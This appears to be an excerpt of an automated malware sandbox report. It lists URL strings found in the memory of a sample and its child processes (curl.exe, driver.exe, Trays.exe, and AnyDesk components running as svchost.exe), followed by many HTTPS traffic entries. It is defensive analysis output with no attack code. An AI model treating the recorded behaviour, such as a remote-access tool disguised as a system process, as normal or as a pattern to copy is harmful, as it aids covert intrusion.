Source: driver.exe, 00000028.00000002.20433555662.0000000002D00000.00000004.00001000.00020000.00000000.sdmp, driver.exe, 00000028.00000003.20430251957.0000000002E83000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20436017665.00000000005A5000.00000002.00000001.01000000.00000008.sdmp, Trays.exe, 00000029.00000002.21464015268.0000000002572000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.html
Source: Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.html03b
Source: Trays.exe, 00000029.00000002.21461662298.000000000085E000.00000004.00000020.00020000.00000000.sdmp, Trays.exe, 00000029.00000002.21461662298.0000000000818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.html;
Source: Trays.exe, 00000029.00000002.21461662298.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.html???????...e&
Source: Trays.exe, 00000029.00000002.21461662298.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_next.htmlg&
Source: Trays.exe, 00000029.00000000.20435397641.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_order.html
Source: Trays.exe, 00000029.00000002.21464015268.000000000261C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_order.html03b
Source: driver.exe, 00000028.00000003.20430251957.0000000002E12000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 00000029.00000000.20435397641.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.4t-niagara.com/tray_order.htmlU
Source: curl.exe, 00000023.00000003.20325593592.0000000000DE2000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000023.00000002.20327686955.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000023.00000003.20325554267.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.blat.net/h
Source: driver.exe, 00000028.00000003.20430251957.0000000002E12000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.dk-soft.org/
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.gimp.org/xmp/
Source: driver.exe, 00000028.00000003.20430251957.0000000002D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.opengl.org/registry/
Source: svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/)
Source: Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp, curl.exe, curl.exe, 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000022.00000000.20288780667.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000002.20326809234.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000000.20311354865.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000000.20328637461.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000002.20361147934.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.20386342714.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000000.20362922109.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.20394831572.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.20388092061.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.20396877976.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.20417147081.0000000000324000.00000008.00000001.01000000.00000006.sdmp, svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000022.00000000.20288780667.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000002.20326809234.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000000.20311354865.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000000.20328637461.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000002.20361147934.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.20386342714.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000000.20362922109.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.20394831572.0000000000324000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.20388092061.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.20396877976.0000000000309000.00000008.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.20417147081.0000000000324000.00000008.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html..
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.htmlEC_PRIVATEKEYpublicKeyparametersprivateKeyECPKPARAMETERSvalue
Source: Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pdf-tools.com
Source: driver.exe, 00000028.00000003.20430251957.0000000002D20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com
Source: svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.exe, 00000030.00000003.20534656140.00000000040D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/company#imprint
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/contact/sales
Source: AnyDesk.exe, 00000030.00000003.20534656140.00000000040D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/contact/sales)
Source: svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/de/datenschutz
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/en/assembly
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/en/assembly/terms
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/en/changelog/windows
Source: svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/en/privacy
Source: svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/es/privacidad
Source: svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/order
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/pricing/teams
Source: AnyDesk.exe, 00000030.00000003.20534656140.00000000040D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anydesk.com/pricing/teams)
Source: svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/privacy
Source: svchost.exe	String found in binary or memory: https://anydesk.com/terms
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://anydesk.com/update
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://boot.net.anydesk.comabcdefABCDEFtruefalsetfInvalid
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://datatracker.ietf.org/ipr/1524/
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://datatracker.ietf.org/ipr/1526/
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://datatracker.ietf.org/ipr/1914/
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://help.anydesk.com
Source: svchost.exe	String found in binary or memory: https://help.anydesk.com/
Source: svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://help.anydesk.com/$
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://help.anydesk.com/HelpLinkInstallLocationAnyDesk
Source: svchost.exe, 0000002A.00000003.20527962526.000000000404E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.20528041970.000000000404F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000003.20527754907.000000000404C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.anydesk.com/e
Source: svchost.exe	String found in binary or memory: https://my.anydesk.com
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://my.anydesk.com/auth/realms/myanydesk/login-actions/reset-credentials
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://my.anydesk.com/auth/realms/myanydesk/login-actions/reset-credentials?client_id=myanydesk-fro
Source: svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://my.anydesk.com/auth/realms/myanydesk/protocol/openid-connect/registrations?client_id=myanyde
Source: svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://my.anydesk.com/password-generator.
Source: svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000003.20451690361.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://my.anydesk.com/v2
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://order.anydesk.com/trial
Source: svchost.exe	String found in binary or memory: https://policies.google.com/privacy?hl=$
Source: svchost.exe, 0000002D.00000003.20482670551.00000000040EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.anydesk.
Source: svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/account-migration
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/anydesk-account
Source: svchost.exe	String found in binary or memory: https://support.anydesk.com/knowledge/anydesk-for-android-chromeos#troubleshooting
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/anydesk-id-and-alias
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/license-expired-error
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/my-anydesk-ii#user-management
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/pause-session
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/quick-start-guide
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/status-anynet_overload
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/status-desk_rt_auto_disconnect
Source: svchost.exe	String found in binary or memory: https://support.anydesk.com/knowledge/status-desk_rt_ipc_error
Source: svchost.exe	String found in binary or memory: https://support.anydesk.com/knowledge/the-session-has-ended-unexpectedly
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/users
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/waiting-for-image-black-screen
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://support.anydesk.com/knowledge/what-is-full-client-management
Source: curl.exe, 00000027.00000003.20415977425.0000000000966000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000002.20417989459.0000000000966000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000003.20415827647.0000000000966000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: curl.exe, 00000027.00000003.20415977425.0000000000966000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000002.20417989459.0000000000966000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000027.00000003.20415827647.0000000000966000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/03
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.google.com/intl/$
Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.nayuki.io/page/qr-code-generator-library

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51548
Source: unknown	Network traffic detected: HTTP traffic on port 53348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61072
Source: unknown	Network traffic detected: HTTP traffic on port 63457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63297 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56798
Source: unknown	Network traffic detected: HTTP traffic on port 57238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59675
Source: unknown	Network traffic detected: HTTP traffic on port 52387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58342
Source: unknown	Network traffic detected: HTTP traffic on port 53873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62279
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49210
Source: unknown	Network traffic detected: HTTP traffic on port 52161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58227
Source: unknown	Network traffic detected: HTTP traffic on port 61267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60388
Source: unknown	Network traffic detected: HTTP traffic on port 61614 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50590
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50906
Source: unknown	Network traffic detected: HTTP traffic on port 58048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62842
Source: unknown	Network traffic detected: HTTP traffic on port 64557 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58637
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53348
Source: unknown	Network traffic detected: HTTP traffic on port 62750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54710
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61086
Source: unknown	Network traffic detected: HTTP traffic on port 58970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62453
Source: unknown	Network traffic detected: HTTP traffic on port 52559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64995
Source: unknown	Network traffic detected: HTTP traffic on port 65270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52823
Source: unknown	Network traffic detected: HTTP traffic on port 50906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52413 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52387
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57559
Source: unknown	Network traffic detected: HTTP traffic on port 62453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51731
Source: unknown	Network traffic detected: HTTP traffic on port 54856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64527
Source: unknown	Network traffic detected: HTTP traffic on port 64605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64889
Source: unknown	Network traffic detected: HTTP traffic on port 58342 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63674
Source: unknown	Network traffic detected: HTTP traffic on port 60388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64886
Source: unknown	Network traffic detected: HTTP traffic on port 64995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55829
Source: unknown	Network traffic detected: HTTP traffic on port 59997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52559
Source: unknown	Network traffic detected: HTTP traffic on port 62695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49420
